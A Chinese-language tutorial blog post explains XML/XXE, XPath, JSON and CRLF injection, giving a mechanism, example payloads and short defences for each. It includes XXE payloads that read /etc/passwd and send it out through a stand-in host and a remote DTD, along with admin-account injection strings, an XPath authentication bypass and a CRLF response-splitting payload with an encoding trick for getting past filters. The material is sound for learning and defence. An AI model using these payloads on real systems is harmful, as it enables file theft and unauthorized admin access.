代码注入漏洞

一、XML注入:

  1、本质:

  XML是一种数据组织存储的数据结构方式,安全的XML在用户输入生成新的数据时候应该只能允许用户接受的数据,需要过滤掉一些可以改变XML标签也就是说改变XML结构插入新功能(例如新的账户信息,等于添加了账户)的特殊输入,如果没有过滤,则可以导致XML注入攻击。

  2、举例说明: 

复制代码
 1 """
 2 原始组织数据如下:
 3 <USER role="guest">
 4 <name>user1</name>
 5 <password>uesr1</password>
 6 <email>user1@test.com</email>
 7 </USER>
 8 用户本应提交的数据是user1 , user1 ,user1@test.com
 9 如果用户提交的数据是
10 POST下
11 name = user1&passwd=user1&email=user1@test.com</email></USER><USER role="admin"><name>attack</name><password>attack</password><email>attack@test.com
12 就会导致生成一个新的管理员账户attack
13 """
复制代码
复制代码
 1 /*
 2 (1)有回显,直接读取文件
 3 */
 4 <?php 
 5     $xml=$GET['XML'];
 6     $data = simplexml_load_string($xml);
 7     print_r($data);
 8 >
 9 /*
10 攻击请求get a.b.c.d?xml=<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY> <!ENTITY xxe SYSTEM "file:///etc/passwd">]> <root><name>&xxe;</name></root>
11 */
12 /*
13 (2)引用远程server上的XML文件 读取文件
14 */
15 /*#1.xml:
16 <!ENTITY % a SYSTEM "file:///etc/passwd">
17 <!ENTITY % b "<!ENTITY % c SYSTEM 'gopher://xxe.com%a;'>"> %b;%c
18 #payload
19 <?xml version="1.0" encoding="utf-8">
20 <!DOCTYPE root [
21 <!ENTITY % remote SYSTEM "http://192.168.106.208/1.xml">
22 %remote;]>
23 */
复制代码
复制代码
 1 <!--原始XML为:-->
 2 <?xml version="1.0" encoding="UTF-8"?>
 3 <adminuser>
 4 <admin id="1">
 5 <name>admin</name>
 6 <password>admin</passsword>
 7 </admin>
 8 </adminuser>
 9 <!--
10 例如攻击者可以修改password部分,则可以如下构造:
11 输入:
12 <admin></password></admin><admin id=2><name>test</name><password>test</password></admin>
13 那么XML文件则会变成:
14 -->
15 <?xml version="1.0" encoding="UTF-8"?>
16 <adminuser>
17 <admin id="1">
18 <name>admin</name>
19 <password>admin</passsword>
20 </admin>
21 <admin id="2">
22 <name>test</name>
23 <password>test</passsword>
24 </admin>
25 </adminuser>
26 <!--
27 增加了一个管理员权限账号。
28 -->
复制代码

  3、危害:

    #常见攻击手段包括:

    #读取本地文件(可能包含敏感信息 /etc/shadow)

    #内存侵犯

    #任意代码执行

    #拒绝服务

  4、防御:   

    #对有改变XML结构的特殊输入进行过滤或者编码
    #filter list = ["&","<",">","'".'"',"/"]
    #在XML保存和展示之前都需要

二、Xpath注入:

  1、本质:

    #Xpath是类似SQL的一种从XML结构中搜索节点数据的语言(DSL),其注入放手就是构造完整可执行的DSL,本质与SQL注入一样。

  2、举例:    

    一般结构//nodename[ colunmname/colunmtype()="xxxxxx" and .......]
    例如:
      //USER [username/text()="admin" and password/text()="123456"]
    注入就是在引号内内容着手构造:
      例如password=> 111" or "2"="2

  3、防御:
    防御很简单,过滤特殊输入字符即可。

三、Json注入:

  1、本质:

  @json也是传输数据的一种格式,增加一个用户的json结构如下:

  {"adduser":[{"username":"admin1","password":"123456"}]},可以注入多增加一个 password=>123456"},{"username":"admin2","password":"123456

  2、防御:

    过滤关键字即可。

四、CRLF注入也叫HTTP响应截断:

  1、本质:

  也叫CRLF注入攻击。CR、LF分别对应回车(%0d)、换行(%0a)字符。HTTP头由很多被CRLF组合分离的行构成,每行的结构都是“键:值”。如果用户输入的值部分注入了CRLF字符,它就有可能改变HTTP报头结构。

  2、举例:假设数据部分是xss payload则会中招啊

复制代码
 1 """
 2 (1)REQUEST-METHOD : GET
 3          URL : http://a.b.c.d/index.html?language=Chinense
 4          RESPONSE : 
 5               HTTP/1.1 302 Moved Temporarily GMT\r\n
 6               Date: ********
 7               Location:http://a.b.c.d/zhcn.html
 8               Server:******
 9               ******
10 (2)REQUEST-METHOD : GET
11          URL : http://a.b.c.d/index.html?language=Chinense%0d%0aContent-       Length%3a+%0d%0a%0d%0aHTTP%2f1.1+200+OK%0d%0aContent-Type%3a%+text%2fhtml%d%0aContent-Length%3a+24%0d%0a%3chtml%3eI%e2%80%99m+hacker!%3c%2fhtml%3e
12          实际上就是:
13          Chinese
14          Content-Length:0
15 
16          HTTP/1.1 200 OK
17          Content-Type:text/html
18          Content-Length:24
19 
20          <html>I'm hacker!</html>
21 
22          RESPONSE : 
23               HTTP/1.1 302 Moved Temporarily GMT\r\n
24               Date: ********
25               Location:http://a.b.c.d/zhcn.html
26               Content-Length:0
27               
28               HTTP/1.1 200 OK
29               Content-Type:text/html
30               Content-Length:24
31              
32               <html>I'm hacker!</html>
33               Server:******
34               ******
35 
36 37 修改编码格式,避免过滤函数过滤掉常用恶意payload符号的UTF-8,GBK,Unicode编码.
38 39 
40 当然可以不加新的http响应头,直接注入\r\n(CRLF)和payload
41 
42 常见的容易出问题的PHP函数
43 header()
44 setcookie()
45 session_id()
46 setrawcookie()
47 
48 位置:
49 location   -> 重定向到恶意地址
50 set-cookie -> 把自己数据写入cookie
51 """
  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值